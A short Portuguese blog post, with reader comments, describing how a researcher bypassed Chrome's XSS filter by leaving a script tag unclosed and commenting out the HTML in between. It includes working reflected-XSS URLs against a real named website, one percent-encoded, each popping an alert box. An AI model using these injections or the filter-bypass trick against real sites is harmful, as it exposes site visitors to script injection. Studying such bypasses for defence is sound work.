Quando se trata de segurança, temos que ter em mente que sempre haverá um caminho alternativo para burlar a segurança, basta você descobrir este caminho.
Neste post vou mostrar como Nick Nikiforakis encontrou este caminho alternativo para burlar o sistema de filtro de XSS do Google Chrome.
Este filtro do Chrome impede qualquer tentativa de XSS acessado por você. Vamos fazer dois testes, utilizando o Chore e o Firefox.
A URL abaixo é vulnerável a XSS onde mostra o número 1 em uma janela da pop-up.
Abra a URL abaixo no firefox e depois no Chrome.
http://www.dsm.com/en_US/cworld/public/home/pages/searchResults.jsp?search-site=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E&noMimimumKeywords=false
Perceba que no Firefox o pop-up apareceu, mas no Chrome foi barrado pelo filtro.
A ideia inicial do Nick é não colocar a tag para fechar o JavaScript, com isso o código HTML passou a ser executado dentro do script, mas com erro, até porque o JavaScript não entende HTML. Em seguida ele comentou o código HTML (/* &b=*/) para que o script em java fosse executado, e funcionou.
bypassing XSS filter Chrome:
Agora vamos executar nossa URL nos dois browser usando esse pequeno "trick".
http://www.dsm.com/en_US/cworld/public/home/pages/searchResults.jsp?search-site="><script>alert(1);/*&noMimimumKeywords=*/</script>
Perceba que foi executado tanto no Firefox como no Chrome.
fonte: http://blog.securitee.org/?p=37
veja o link http://www.dsm.com/en_US/cworld/public/home/pages/searchResults.jsp?search-site=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E&noMimimumKeywords=false
ResponderExcluirsegue o link site http://www.dsm.com/en_US/cworld/public/home/pages/searchResults.jsp?search-site=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%32%29%3B%2F%2A%26%6E%6F%4D%69%6D%69%6D%75%6D%4B%65%79%77%6F%72%64%73%3D%2A%2F%3C%2F%73%63%72%69%70%74%3E
ResponderExcluir"http://www.dsm.com/en_US/cworld/public/home/pages/searchResults.jsp?search-site=%22%3E%3Cscript%3Ealert%282%29;%3C/script%3E&noMimimumKeywords=false"
ResponderExcluirsite 1
ResponderExcluirhttp://www.dsm.com/en_US/cworld/public/home/pages/searchResults.jsp?search-site=%22%3E%3Cscript%3Ealert%282%29;%3C/script%3E&noMimimumKeywords=false
site 2